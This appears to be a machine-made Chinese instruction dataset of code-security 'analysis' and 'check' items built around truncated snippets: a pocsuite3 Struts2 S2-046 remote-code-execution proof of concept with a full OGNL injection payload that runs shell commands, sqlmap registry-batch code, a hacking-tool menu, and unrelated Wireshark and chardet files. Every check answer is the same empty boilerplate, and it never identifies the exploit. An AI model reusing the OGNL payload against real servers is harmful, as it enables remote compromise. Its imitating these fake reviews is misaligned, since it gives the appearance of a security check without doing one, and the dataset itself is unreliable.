            r".OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B's" \
            r"truts.valueStack'%5D.context).(%23cr%3D%23ct%5B'com.opensympho" \
            r"ny.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInsta" \
            r"nce(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou." \
            r"getExcludedPackageNames().clear()).(%23ou.getExcludedClasses()" \
            r".clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang." \
            r"Runtime%40getRuntime().exec('RECOMMAND')).(%40org.apache.commo" \
            r"ns.io.IOUti...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

from collections import OrderedDict

from requests.exceptions import ReadTimeout
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE, OptString

class DemoPOC(POCBase):
    vulID = '0'  # ssvid
    version = '1'
    appName = 'Struts2'
    appVersion = '2.3.5-31, 2.5.0-10'
    name = 'Struts2-046远程代码执行'
    desc = '''Struts2-046远程代码执行'''
    pocDesc = '''Struts2-046远程代码执行'''
    vulType = VUL_TYPE.CODE_EXECUTION
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    protocol = POC_CATEGORY.PROTOCOL.HTTP
    references = ['https://github.com/vulhub/vulhub/blob/master/struts2/s2-046/README.zh-cn.md']

    def _options(self):
        o = OrderedDict()
        o["command"] = OptString("whoami", description="攻击时自定义命令")
        return o

    def _verify(self):

        HEADERS = {
            'Content-Type': 'multipart/form-data; boundary=---------------------------'
        }

        result = {}
        cmd = "echo VuLnEcHoPoCSuCCeSS"
        payload = '''-----------------------------\r\n ''' \
            '''Content-Disposition: form-data; name=\"foo\"; filename=\"%{''' \
            '''(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_M''' \
            '''EMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#conta''' \
            '''iner=#context['com.opensymphony.xwork2.ActionContext.contai''' \
            '''ner']).(#ognlUtil=#container.getInstance(@com.opensymphony.''' \
            '''xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageN''' \
            '''ames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#''' \
            '''context.setMemberAccess(#dm)))).(#cmd='RECOMMAND').(#iswin=''' \
            '''(@java.lang.System@getProperty('os.name').toLowerCase().con''' \
            '''tains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/''' \
            '''bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds))''' \
            '''.(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros''' \
  ...


Instruction: 检查这段代码是否存在安全问题

Input:
from collections import OrderedDict

from requests.exceptions import ReadTimeout
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE, OptString

class DemoPOC(POCBase):
    vulID = '0'  # ssvid
    version = '1'
    appName = 'Struts2'
    appVersion = '2.3.5-31, 2.5.0-10'
    name = 'Struts2-046远程代码执行'
    desc = '''Struts2-046远程代码执行'''
    pocDesc = '''Struts2-046远程代码执行'''
    vulType = VUL_TYPE.CODE_EXECUTION
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    protocol = POC_CATEGORY.PROTOCOL.HTTP
    references = ['https://github.com/vulhub/vulhub/blob/master/struts2/s2-046/README.zh-cn.md']

    def _options(self):
        o = OrderedDict()
        o["command"] = OptString("whoami", description="攻击时自定义命令")
        return o

    def _verify(self):

        HEADERS = {
            'Content-Type': 'multipart/form-data; boundary=---------------------------'
        }

        result = {}
        cmd = "echo VuLnEcHoPoCSuCCeSS"
        payload = '''-----------------------------\r\n ''' \
            '''Content-Disposition: form-data; name=\"foo\"; filename=\"%{''' \
            '''(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_M''' \
            '''EMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#conta''' \
            '''iner=#context['com.opensymphony.xwork2.ActionContext.contai''' \
            '''ner']).(#ognlUtil=#container.getInstance(@com.opensymphony.''' \
            '''xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageN''' \
            '''ames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#''' \
            '''context.setMemberAccess(#dm)))).(#cmd='RECOMMAND').(#iswin=''' \
            '''(@java.lang.System@getProperty('os.name').toLowerCase().con''' \
            '''tains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/''' \
            '''bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds))''' \
            '''.(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros''' \
  ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.common import isDBMSVersionAtLeast
from lib.core.convert import getOrds
from plugins.generic.syntax import Syntax as GenericSyntax

class Syntax(GenericSyntax):
    @staticmethod
    def escape(expression, quote=True):
        """
        >>> from lib.core.common import Backend
        >>> Backend.setVersion('2.0')
        ['2.0']
        >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar"
        True
        >>> Backend.setVersion('2.1')
        ['2.1']
        >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT ASCII_CHAR(97)||ASCII_CHAR(98)||ASCII_CHAR(99)||ASCII_CHAR(100)||ASCII_CHAR(101)||ASCII_CHAR(102)||ASCII_CHAR(103)||ASCII_CHAR(104) FROM foobar"
        True
        """

        def escaper(value):
            return "||".join("ASCII_CHAR(%d)" % _ for _ in getOrds(value))

        retVal = expression

        if isDBMSVersionAtLeast("2.1"):
            retVal = Syntax._escape(expression, quote, escaper)

        return retVal


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.common import isDBMSVersionAtLeast
from lib.core.convert import getOrds
from plugins.generic.syntax import Syntax as GenericSyntax

class Syntax(GenericSyntax):
    @staticmethod
    def escape(expression, quote=True):
        """
        >>> from lib.core.common import Backend
        >>> Backend.setVersion('2.0')
        ['2.0']
        >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar"
        True
        >>> Backend.setVersion('2.1')
        ['2.1']
        >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT ASCII_CHAR(97)||ASCII_CHAR(98)||ASCII_CHAR(99)||ASCII_CHAR(100)||ASCII_CHAR(101)||ASCII_CHAR(102)||ASCII_CHAR(103)||ASCII_CHAR(104) FROM foobar"
        True
        """

        def escaper(value):
            return "||".join("ASCII_CHAR(%d)" % _ for _ in getOrds(value))

        retVal = expression

        if isDBMSVersionAtLeast("2.1"):
            retVal = Syntax._escape(expression, quote, escaper)

        return retVal

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import os

from lib.core.common import openFile
from lib.core.common import randomStr
from lib.core.data import conf
from lib.core.data import logger
from lib.core.enums import REGISTRY_OPERATION

class Registry(object):
    """
    This class defines methods to read and write Windows registry keys
    """

    def _initVars(self, regKey, regValue, regType=None, regData=None, parse=False):
        self._regKey = regKey
        self._regValue = regValue
        self._regType = regType
        self._regData = regData

        self._randStr = randomStr(lowercase=True)
        self._batPathRemote = "%s/tmpr%s.bat" % (conf.tmpPath, self._randStr)
        self._batPathLocal = os.path.join(conf.outputPath, "tmpr%s.bat" % self._randStr)

        if parse:
            readParse = "FOR /F \"tokens=*\" %%A IN ('REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
        else:
            readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\""

        self._batRead = (
            "@ECHO OFF\r\n",
            readParse,
        )

        self._batAdd = (
            "@ECHO OFF\r\n",
            "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData),
        )

        self._batDel = (
            "@ECHO OFF\r\n",
            "REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue),
        )

    def _createLocalBatchFile(self):
        self._batPathFp = openFile(self._batPathLocal, "w")

        if self._operation == REGISTRY_OPERATION.READ:
            lines = self._batRead
        elif self._operation == REGISTRY_OPERATION.ADD:
            lines = self._batAdd
        elif self._operation == REGISTRY_OPERATION.DELETE:
            lines = self._batDel

        for line in lines:
            self._batPa...


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import os

from lib.core.common import openFile
from lib.core.common import randomStr
from lib.core.data import conf
from lib.core.data import logger
from lib.core.enums import REGISTRY_OPERATION

class Registry(object):
    """
    This class defines methods to read and write Windows registry keys
    """

    def _initVars(self, regKey, regValue, regType=None, regData=None, parse=False):
        self._regKey = regKey
        self._regValue = regValue
        self._regType = regType
        self._regData = regData

        self._randStr = randomStr(lowercase=True)
        self._batPathRemote = "%s/tmpr%s.bat" % (conf.tmpPath, self._randStr)
        self._batPathLocal = os.path.join(conf.outputPath, "tmpr%s.bat" % self._randStr)

        if parse:
            readParse = "FOR /F \"tokens=*\" %%A IN ('REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
        else:
            readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\""

        self._batRead = (
            "@ECHO OFF\r\n",
            readParse,
        )

        self._batAdd = (
            "@ECHO OFF\r\n",
            "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData),
        )

        self._batDel = (
            "@ECHO OFF\r\n",
            "REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue),
        )

    def _createLocalBatchFile(self):
        self._batPathFp = openFile(self._batPathLocal, "w")

        if self._operation == REGISTRY_OPERATION.READ:
            lines = self._batRead
        elif self._operation == REGISTRY_OPERATION.ADD:
            lines = self._batAdd
        elif self._operation == REGISTRY_OPERATION.DELETE:
            lines = self._batDel

        for line in lines:
            self._batPa...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* capture_ui_utils.c
 * Utilities for capture user interfaces
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#ifdef HAVE_LIBPCAP

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <glib.h>

#include "epan/prefs.h"
#include "epan/ex-opt.h"
#include "capture/capture_ifinfo.h"
#include "ui/capture_ui_utils.h"
#include "ui/capture_globals.h"
#include "wiretap/wtap.h"
#include "epan/to_str.h"
#include "wsutil/strtoi.h"

/*
 * In a list of interface information, in the form of a comma-separated
 * list of {name}({property}) items, find the entry for a particular
 * interface, and return a pointer a g_malloced string containing
 * the property.
 */
static char *
capture_dev_get_if_property(const gchar *pref, const gchar *if_name)
{
    gchar **if_tokens;
    gchar *property = NULL;
    int i;

    if (if_name == NULL || strlen(if_name) < 1) {
        return NULL;
    }

    if (pref == NULL || strlen(pref) < 1) {
        /* There is no interface information list. */
        return NULL;
    }

    /*
     * Split the list into a sequence of items.
     *
     * XXX - this relies on the items not themselves containing commas.
     */
    if_tokens = g_strsplit(pref, ",", -1);
    for (i = 0; if_tokens[i] != NULL; i++) {
        gchar *opening_parenp, *closing_parenp;

        /*
         * Separate this item into name and property.
         * The first opening parenthesis and the last closing parenthesis
         * surround the property.  Any other parentheses are part of
         * the property.
         */
        opening_parenp = strchr(if_tokens[i], '(');
        if (opening_parenp == NULL) {
            /* No opening parenthesis. Give up. */
            break;
        }
        closing_parenp = strrchr(if_tokens[i], ')');
        if (closing_parenp == NULL || closing_parenp <= opening_parenp) {
            /* ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* capture_ui_utils.c
 * Utilities for capture user interfaces
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#ifdef HAVE_LIBPCAP

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <glib.h>

#include "epan/prefs.h"
#include "epan/ex-opt.h"
#include "capture/capture_ifinfo.h"
#include "ui/capture_ui_utils.h"
#include "ui/capture_globals.h"
#include "wiretap/wtap.h"
#include "epan/to_str.h"
#include "wsutil/strtoi.h"

/*
 * In a list of interface information, in the form of a comma-separated
 * list of {name}({property}) items, find the entry for a particular
 * interface, and return a pointer a g_malloced string containing
 * the property.
 */
static char *
capture_dev_get_if_property(const gchar *pref, const gchar *if_name)
{
    gchar **if_tokens;
    gchar *property = NULL;
    int i;

    if (if_name == NULL || strlen(if_name) < 1) {
        return NULL;
    }

    if (pref == NULL || strlen(pref) < 1) {
        /* There is no interface information list. */
        return NULL;
    }

    /*
     * Split the list into a sequence of items.
     *
     * XXX - this relies on the items not themselves containing commas.
     */
    if_tokens = g_strsplit(pref, ",", -1);
    for (i = 0; if_tokens[i] != NULL; i++) {
        gchar *opening_parenp, *closing_parenp;

        /*
         * Separate this item into name and property.
         * The first opening parenthesis and the last closing parenthesis
         * surround the property.  Any other parentheses are part of
         * the property.
         */
        opening_parenp = strchr(if_tokens[i], '(');
        if (opening_parenp == NULL) {
            /* No opening parenthesis. Give up. */
            break;
        }
        closing_parenp = strrchr(if_tokens[i], ')');
        if (closing_parenp == NULL || closing_parenp <= opening_parenp) {
            /* ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* language.c
 * Language "preference" handling routines
 * Copyright 2014, Michal Labedzki for Tieto Corporation
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <stdlib.h>
#include <errno.h>

#include <epan/prefs.h>
#include <epan/prefs-int.h>

#include <wsutil/filesystem.h>
#include <wsutil/file_util.h>

#include "ui/language.h"
#include "ui/simple_dialog.h"

#define LANGUAGE_FILE_NAME      "language"
#define LANGUAGE_PREF_LANGUAGE  "language"

char *language = NULL;

/* set one user's recent common file key/value pair */
static prefs_set_pref_e
read_language_pref(gchar *key, const gchar *value,
                   void *private_data _U_, gboolean return_range_errors _U_)
{
    if (strcmp(key, LANGUAGE_PREF_LANGUAGE) == 0) {
        g_free(language);
        /*
         * For backwards compatibility, treat "auto" as meaning "use the
         * system language".
         *
         * To handle the old buggy code that didn't check whether "language"
         * was null before trying to print it, treat "(null)" - which many,
         * but *NOT* all, system printfs print for a null pointer (some
         * printfs, such as the one in Solaris, *crash* with %s and a null
         * pointer) - as meaning "use the system language".
         */
        if (!value || !*value || strcmp(value, "auto") == 0 ||
            strcmp(value, "(null)") == 0)
            language = g_strdup(USE_SYSTEM_LANGUAGE);
        else
            language = g_strdup(value);
    }

    return PREFS_SET_OK;
}

void
read_language_prefs(void)
{
    char       *rf_path;
    FILE       *rf;

    rf_path = get_persconffile_path(LANGUAGE_FILE_NAME, FALSE);

    if ((rf = ws_fopen(rf_path, "r")) != NULL) {
        read_prefs_file(rf_path, rf, read_language_pref, NULL);

        fclose(rf);
    }

    g_free(rf_path);
}

gboolean
write_language_prefs(void)...


Instruction: 检查这段代码是否存在安全问题

Input:
/* language.c
 * Language "preference" handling routines
 * Copyright 2014, Michal Labedzki for Tieto Corporation
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <stdlib.h>
#include <errno.h>

#include <epan/prefs.h>
#include <epan/prefs-int.h>

#include <wsutil/filesystem.h>
#include <wsutil/file_util.h>

#include "ui/language.h"
#include "ui/simple_dialog.h"

#define LANGUAGE_FILE_NAME      "language"
#define LANGUAGE_PREF_LANGUAGE  "language"

char *language = NULL;

/* set one user's recent common file key/value pair */
static prefs_set_pref_e
read_language_pref(gchar *key, const gchar *value,
                   void *private_data _U_, gboolean return_range_errors _U_)
{
    if (strcmp(key, LANGUAGE_PREF_LANGUAGE) == 0) {
        g_free(language);
        /*
         * For backwards compatibility, treat "auto" as meaning "use the
         * system language".
         *
         * To handle the old buggy code that didn't check whether "language"
         * was null before trying to print it, treat "(null)" - which many,
         * but *NOT* all, system printfs print for a null pointer (some
         * printfs, such as the one in Solaris, *crash* with %s and a null
         * pointer) - as meaning "use the system language".
         */
        if (!value || !*value || strcmp(value, "auto") == 0 ||
            strcmp(value, "(null)") == 0)
            language = g_strdup(USE_SYSTEM_LANGUAGE);
        else
            language = g_strdup(value);
    }

    return PREFS_SET_OK;
}

void
read_language_prefs(void)
{
    char       *rf_path;
    FILE       *rf;

    rf_path = get_persconffile_path(LANGUAGE_FILE_NAME, FALSE);

    if ((rf = ws_fopen(rf_path, "r")) != NULL) {
        read_prefs_file(rf_path, rf, read_language_pref, NULL);

        fclose(rf);
    }

    g_free(rf_path);
}

gboolean
write_language_prefs(void)...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python3
# Version 1.1.0
import os
import sys
import webbrowser
from platform import system
from time import sleep

from core import HackingToolsCollection
from tools.anonsurf import AnonSurfTools
from tools.ddos import DDOSTools
from tools.exploit_frameworks import ExploitFrameworkTools
from tools.forensic_tools import ForensicTools
from tools.information_gathering_tools import InformationGatheringTools
from tools.other_tools import OtherTools
from tools.payload_creator import PayloadCreatorTools
from tools.phising_attack import PhishingAttackTools
from tools.post_exploitation import PostExploitationTools
from tools.remote_administration import RemoteAdministrationTools
from tools.reverse_engineering import ReverseEngineeringTools
from tools.sql_tools import SqlInjectionTools
from tools.steganography import SteganographyTools
from tools.tool_manager import ToolManager
from tools.webattack import WebAttackTools
from tools.wireless_attack_tools import WirelessAttackTools
from tools.wordlist_generator import WordlistGeneratorTools
from tools.xss_attack import XSSAttackTools

logo = """\033[33m
   ▄█    █▄       ▄████████  ▄████████    ▄█   ▄█▄  ▄█  ███▄▄▄▄      ▄██████▄           ███      ▄██████▄   ▄██████▄   ▄█
  ███    ███     ███    ███ ███    ███   ███ ▄███▀ ███  ███▀▀▀██▄   ███    ███      ▀█████████▄ ███    ███ ███    ███ ███
  ███    ███     ███    ███ ███    █▀    ███▐██▀   ███▌ ███   ███   ███    █▀          ▀███▀▀██ ███    ███ ███    ███ ███
 ▄███▄▄▄▄███▄▄   ███    ███ ███         ▄█████▀    ███▌ ███   ███  ▄███                 ███   ▀ ███    ███ ███    ███ ███
▀▀███▀▀▀▀███▀  ▀███████████ ███        ▀▀█████▄    ███▌ ███   ███ ▀▀███ ████▄           ███     ███    ███ ███    ███ ███
  ███    ███     ███    ███ ███    █▄    ███▐██▄   ███  ███   ███   ███    ███          ███     ███    ███ ███    ███ ███
  ███    ███     ███    ███ ███    ███   ███ ▀███▄ ███  ███   ███   ███    ███          ███     ███    ...


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python3
# Version 1.1.0
import os
import sys
import webbrowser
from platform import system
from time import sleep

from core import HackingToolsCollection
from tools.anonsurf import AnonSurfTools
from tools.ddos import DDOSTools
from tools.exploit_frameworks import ExploitFrameworkTools
from tools.forensic_tools import ForensicTools
from tools.information_gathering_tools import InformationGatheringTools
from tools.other_tools import OtherTools
from tools.payload_creator import PayloadCreatorTools
from tools.phising_attack import PhishingAttackTools
from tools.post_exploitation import PostExploitationTools
from tools.remote_administration import RemoteAdministrationTools
from tools.reverse_engineering import ReverseEngineeringTools
from tools.sql_tools import SqlInjectionTools
from tools.steganography import SteganographyTools
from tools.tool_manager import ToolManager
from tools.webattack import WebAttackTools
from tools.wireless_attack_tools import WirelessAttackTools
from tools.wordlist_generator import WordlistGeneratorTools
from tools.xss_attack import XSSAttackTools

logo = """\033[33m
   ▄█    █▄       ▄████████  ▄████████    ▄█   ▄█▄  ▄█  ███▄▄▄▄      ▄██████▄           ███      ▄██████▄   ▄██████▄   ▄█
  ███    ███     ███    ███ ███    ███   ███ ▄███▀ ███  ███▀▀▀██▄   ███    ███      ▀█████████▄ ███    ███ ███    ███ ███
  ███    ███     ███    ███ ███    █▀    ███▐██▀   ███▌ ███   ███   ███    █▀          ▀███▀▀██ ███    ███ ███    ███ ███
 ▄███▄▄▄▄███▄▄   ███    ███ ███         ▄█████▀    ███▌ ███   ███  ▄███                 ███   ▀ ███    ███ ███    ███ ███
▀▀███▀▀▀▀███▀  ▀███████████ ███        ▀▀█████▄    ███▌ ███   ███ ▀▀███ ████▄           ███     ███    ███ ███    ███ ███
  ███    ███     ███    ███ ███    █▄    ███▐██▄   ███  ███   ███   ███    ███          ███     ███    ███ ███    ███ ███
  ███    ███     ███    ███ ███    ███   ███ ▀███▄ ███  ███   ███   ███    ███          ███     ███    ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* MPEG Packetized Elementary Stream (PES) packet decoder.
 * Written by Shaun Jackman <sjackman@gmail.com>.
 * Copyright 2007 Shaun Jackman
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/asn1.h>

#include <wiretap/wtap.h>

#include "packet-per.h"

#include "packet-mpeg-pes-hf.c"
#include "packet-mpeg-pes-ett.c"
#include "packet-mpeg-pes-fn.c"

void proto_register_mpeg_pes(void);
void proto_reg_handoff_mpeg_pes(void);

static int proto_mpeg = -1;
static int proto_mpeg_pes = -1;

static int ett_mpeg_pes_pack_header = -1;
static int ett_mpeg_pes_header_data = -1;
static int ett_mpeg_pes_trick_mode = -1;

static int hf_mpeg_pes_pack_header = -1;
static int hf_mpeg_pes_scr = -1;
static int hf_mpeg_pes_program_mux_rate = -1;
static int hf_mpeg_pes_stuffing_length = -1;
static int hf_mpeg_pes_stuffing = -1;
static int hf_mpeg_pes_extension = -1;
static int hf_mpeg_pes_header_data = -1;
static int hf_mpeg_pes_pts = -1;
static int hf_mpeg_pes_dts = -1;
static int hf_mpeg_pes_escr = -1;
static int hf_mpeg_pes_es_rate = -1;
static int hf_mpeg_pes_dsm_trick_mode = -1;
static int hf_mpeg_pes_dsm_trick_mode_control = -1;
static int hf_mpeg_pes_dsm_trick_mode_field_id = -1;
static int hf_mpeg_pes_dsm_trick_mode_intra_slice_refresh = -1;
static int hf_mpeg_pes_dsm_trick_mode_frequency_truncation = -1;
static int hf_mpeg_pes_dsm_trick_mode_rep_cntrl = -1;
static int hf_mpeg_pes_copy_info = -1;
static int hf_mpeg_pes_crc = -1;
static int hf_mpeg_pes_extension_flags = -1;
static int hf_mpeg_pes_private_data = -1;
static int hf_mpeg_pes_pack_length = -1;
static int hf_mpeg_pes_sequence = -1;
static int hf_mpeg_pes_pstd_buffer = -1;
static int hf_mpeg_pes_extension2 = -1;
static int hf_mpeg_pes_padding = -1;
static int hf_mpeg_pes_data = -1;

static int hf_mpeg_video_sequence_header = -1;
static int hf_mpe...


Instruction: 检查这段代码是否存在安全问题

Input:
/* MPEG Packetized Elementary Stream (PES) packet decoder.
 * Written by Shaun Jackman <sjackman@gmail.com>.
 * Copyright 2007 Shaun Jackman
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/asn1.h>

#include <wiretap/wtap.h>

#include "packet-per.h"

#include "packet-mpeg-pes-hf.c"
#include "packet-mpeg-pes-ett.c"
#include "packet-mpeg-pes-fn.c"

void proto_register_mpeg_pes(void);
void proto_reg_handoff_mpeg_pes(void);

static int proto_mpeg = -1;
static int proto_mpeg_pes = -1;

static int ett_mpeg_pes_pack_header = -1;
static int ett_mpeg_pes_header_data = -1;
static int ett_mpeg_pes_trick_mode = -1;

static int hf_mpeg_pes_pack_header = -1;
static int hf_mpeg_pes_scr = -1;
static int hf_mpeg_pes_program_mux_rate = -1;
static int hf_mpeg_pes_stuffing_length = -1;
static int hf_mpeg_pes_stuffing = -1;
static int hf_mpeg_pes_extension = -1;
static int hf_mpeg_pes_header_data = -1;
static int hf_mpeg_pes_pts = -1;
static int hf_mpeg_pes_dts = -1;
static int hf_mpeg_pes_escr = -1;
static int hf_mpeg_pes_es_rate = -1;
static int hf_mpeg_pes_dsm_trick_mode = -1;
static int hf_mpeg_pes_dsm_trick_mode_control = -1;
static int hf_mpeg_pes_dsm_trick_mode_field_id = -1;
static int hf_mpeg_pes_dsm_trick_mode_intra_slice_refresh = -1;
static int hf_mpeg_pes_dsm_trick_mode_frequency_truncation = -1;
static int hf_mpeg_pes_dsm_trick_mode_rep_cntrl = -1;
static int hf_mpeg_pes_copy_info = -1;
static int hf_mpeg_pes_crc = -1;
static int hf_mpeg_pes_extension_flags = -1;
static int hf_mpeg_pes_private_data = -1;
static int hf_mpeg_pes_pack_length = -1;
static int hf_mpeg_pes_sequence = -1;
static int hf_mpeg_pes_pstd_buffer = -1;
static int hf_mpeg_pes_extension2 = -1;
static int hf_mpeg_pes_padding = -1;
static int hf_mpeg_pes_data = -1;

static int hf_mpeg_video_sequence_header = -1;
static int hf_mpe...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Communicator client code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 1998
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

# EUCTW frequency table
# Converted from big5 work
# by Taiwan's Mandarin Promotion Council
# <http:#www.edu.tw:81/mandr/>

# 128  --> 0.42261
# 256  --> 0.57851
# 512  --> 0.74851
# 1024 --> 0.89384
# 2048 --> 0.97583
#
# Idea Distribution Ratio = 0.74851/(1-0.74851) =2.98
# Random Distribution Ration = 512/(5401-512)=0.105
#
# Typical Distribution Ratio about 25% of Ideal one, still much higher than RDR

EUCTW_TYPICAL_DISTRIBUTION_RATIO = 0.75

# Char to FreqOrder table ,
EUCTW_TABLE_SIZE = 5376

EUCTW_CHAR_TO_FREQ_ORDER = (
   1,1800,1506, 255,1431, 198,   9,  82,   6,7310, 177, 202,3615,1256,2808, 110,  # 2742
3735,  33,3241, 261,  76,  44,2113,  16,2931,2184,1176, 659,3868,  26,3404,2643,  # 2758
1198,3869,3313,4060, 410,2211, 302, 590, 361,1963,   8, 204,  58,4296,7311,1931,  # 2774
  63,7312,7313, 317...


Instruction: 检查这段代码是否存在安全问题

Input:
######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Communicator client code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 1998
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

# EUCTW frequency table
# Converted from big5 work
# by Taiwan's Mandarin Promotion Council
# <http:#www.edu.tw:81/mandr/>

# 128  --> 0.42261
# 256  --> 0.57851
# 512  --> 0.74851
# 1024 --> 0.89384
# 2048 --> 0.97583
#
# Idea Distribution Ratio = 0.74851/(1-0.74851) =2.98
# Random Distribution Ration = 512/(5401-512)=0.105
#
# Typical Distribution Ratio about 25% of Ideal one, still much higher than RDR

EUCTW_TYPICAL_DISTRIBUTION_RATIO = 0.75

# Char to FreqOrder table ,
EUCTW_TABLE_SIZE = 5376

EUCTW_CHAR_TO_FREQ_ORDER = (
   1,1800,1506, 255,1431, 198,   9,  82,   6,7310, 177, 202,3615,1256,2808, 110,  # 2742
3735,  33,3241, 261,  76,  44,2113,  16,2931,2184,1176, 659,3868,  26,3404,2643,  # 2758
